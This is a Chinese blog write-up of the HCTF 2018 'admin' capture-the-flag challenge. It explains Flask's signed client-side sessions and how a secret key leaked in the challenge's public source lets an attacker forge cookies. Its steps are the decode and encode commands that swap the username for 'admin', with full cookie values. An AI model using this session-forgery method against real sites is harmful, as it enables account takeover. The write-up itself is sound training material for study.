HCTF_2018_admin

[HCTF 2018]admin

0x00 过程

发现登录和注册界面,先注册一个用户:

登录后发现cookie里存在session,好像是jwt,但是解码后发现不是。

发现有post和更改密码的功能,post测试后发现无xss,更改密码功能是根据加密的session来提交,无法越权。

但在查看密码页面中发现了github地址:https://github.com/woadsl1234/hctf_flask

然后发现这道题应该不是逻辑题的思路……通过审查源码发现该站是flask,可以通过伪造session进入admin,翻看文件发现secret_key:ckj123。

0x01 flask session

将session存储在客户端cookie中,最重要的就是解决session不能被篡改的问题。

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

flask session 分析

flask对session的处理位于flask/sessions.py中,默认情况下flask的session以cookie的形式保存于客户端,利用签名机制来防止数据被篡改。

1
.eJxF0EFrg0AUBOC_Ut45h3XVSyCHwm7Ew1vZsFF8l5Bao67dFNSwiSH_vSaF9jzwDTN3OJyGemxhPQ2XegWH7hPWd3j7gDVkibIllwxF6tWc3lAgLy05MmVIxa4nJz3ZvSenQxIyxCRv1SwjJVKmnLyi1TGZXZeZPsK5iVUifVZgWNq8J7Fr0ciYitwp-z6XVrLM4A35PijNdnHQq0JeyTaR4rlDUQWY7FkmNFOmmrFIryS2_WJZtOkGHiuoxuF0mL77-vw_YeHR6RvOmiHXESU6VoZaEhWnJ2EaT4n6WuoCxZ_1qiubzYvr3LGp_yRyk9b-Nzkf3RLAVI8TrOAy1sPrNggYPH4A7tpryw.Y1TA4A.PGk6Dl2hSo1v5A72lIsxPaXJJ3k
  • 通过.隔开的3段内容,第一段其实就是base64 encode后的内容,但去掉了填充用的等号,若decode失败,自己需要补上1-3个等号补全。中间内容为时间戳,在flask中时间戳若超过31天则视为无效。最后一段则是安全签名,将sessiondata,时间戳,和flask的secretkey通过sha1运算的结果。
1
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息
  • 服务端每次收到cookie后,会将cookie中前两段取出和secretkey做sha1运算,若结果与cookie第三段不一致则视为无效。
  • 从cookie获取session的过程便是验证签名->验证是否过期->解码。

漏洞成因

漏洞的根源是secretkey被获取,应当使用完全随机的secretkey,或在clone某项目后修改为随机的key。

需要特别注意的是python2与python3下产生的timestamp是不一样的!!

利用工具:

  • 网址:(https://github.com/noraj/flask-session-cookie-manager)
  • 通过上述脚本解密处 session ,我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ,进而伪造任意用户身份,扩大攻击效果。

0x02 利用

下载flask-session-cookie-manager,已知secretckj123,当前session为:

1
.eJxF0EFrg0AUBOC_Ut45h3XVSyCHwm7Ew1vZsFF8l5Bao67dFNSwiSH_vSaF9jzwDTN3OJyGemxhPQ2XegWH7hPWd3j7gDVkibIllwxF6tWc3lAgLy05MmVIxa4nJz3ZvSenQxIyxCRv1SwjJVKmnLyi1TGZXZeZPsK5iVUifVZgWNq8J7Fr0ciYitwp-z6XVrLM4A35PijNdnHQq0JeyTaR4rlDUQWY7FkmNFOmmrFIryS2_WJZtOkGHiuoxuF0mL77-vw_YeHR6RvOmiHXESU6VoZaEhWnJ2EaT4n6WuoCxZ_1qiubzYvr3LGp_yRyk9b-Nzkf3RLAVI8TrOAy1sPrNggYPH4A7tpryw.Y1TA4A.PGk6Dl2hSo1v5A72lIsxPaXJJ3k

使用工具解密session,然后将session里的test用户替换成admin:

1
2
3
4
5
6
7
shell> python flask_session_cookie_manager3.py decode -s ckj123 -c .eJxF0EFrg0AUBOC_Ut45h3XVSyCHwm7Ew1vZsFF8l5Bao67dFNSwiSH_vSaF9jzwDTN3OJyGemxhPQ2XegWH7hPWd3j7gDVkibIllwxF6tWc3lAgLy05MmVIxa4nJz3ZvSenQxIyxCRv1SwjJVKmnLyi1TGZXZeZPsK5iVUifVZgWNq8J7Fr0ciYitwp-z6XVrLM4A35PijNdnHQq0JeyTaR4rlDUQWY7FkmNFOmmrFIryS2_WJZtOkGHiuoxuF0mL77-vw_YeHR6RvOmiHXESU6VoZaEhWnJ2EaT4n6WuoCxZ_1qiubzYvr3LGp_yRyk9b-Nzkf3RLAVI8TrOAy1sPrNggYPH4A7tpryw.Y1TA4A.PGk6Dl2hSo1v5A72lIsxPaXJJ3k

{'_fresh': True, '_id': b'8ccca4020722036b6fe67eddfa0f50fd7d170ea7184246a1249e4b9983894a09c7b5dd4a119eef603b149323e5a1a7305a1f887ef0750e48445731b1d1db5c22', 'csrf_token': b'9ef2d23443d8dd956ad76eb1e80dce7357c23cbb', 'image': b'fkPC', 'name': 'test', 'user_id': '10'}

shell> python flask_session_cookie_manager3.py encode -s ckj123 -t "{'_fresh': True, '_id': b'8ccca4020722036b6fe67eddfa0f50fd7d170ea7184246a1249e4b9983894a09c7b5dd4a119eef603b149323e5a1a7305a1f887ef0750e48445731b1d1db5c22', 'csrf_token': b'9ef2d23443d8dd956ad76eb1e80dce7357c23cbb', 'image': b'fkPC', 'name': 'admin', 'user_id': '10'}"

.eJxF0EGLwjAUBOC_sryzhzRtL4KHhWRLDy8lElvyLuLW2jbduFCVaMX_vtWF3fPAN8zcYXsYm1MHy_N4aRaw7fewvMPbJyyhyJSzXDIUeVBTfkOB3DryZGxM1XogLwO5TSCvYxIyxqzs1CQTJXKmvLyi0ymZdV-YIcGpTVUmQ1FhbF05kFh3aGRKVemVe5-sk6wweEO-iaz5mB0MqpJXcm2ieOlR1BFmG1YIzZSpJ6zyK4mPYbYcunwFjwXUp_GwPX8PzfF_wsyj1zecNEOuE8p0qgx1JGpOT8K0gTL1NddFij_rVW_b1Yvr_a5t_iTyZ63Db3Lc-TmA3d73R1jA5dSMr98gYvD4AVqXbBQ.Y1TEoA.cNNCikWfk8OnehmanfDY5GMaznk

将session替换即可getflag:

0x03 参考

flask框架漏洞_JJT_with_hair的博客-CSDN博客_flask漏洞

Flask之session伪造_HackerTenG的博客-CSDN博客_flask session伪造

noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)


HCTF_2018_admin
https://k1nm0.com/2022/10/23/[HCTF-2018]admin/
作者
K1nm0
发布于
2022年10月23日
许可协议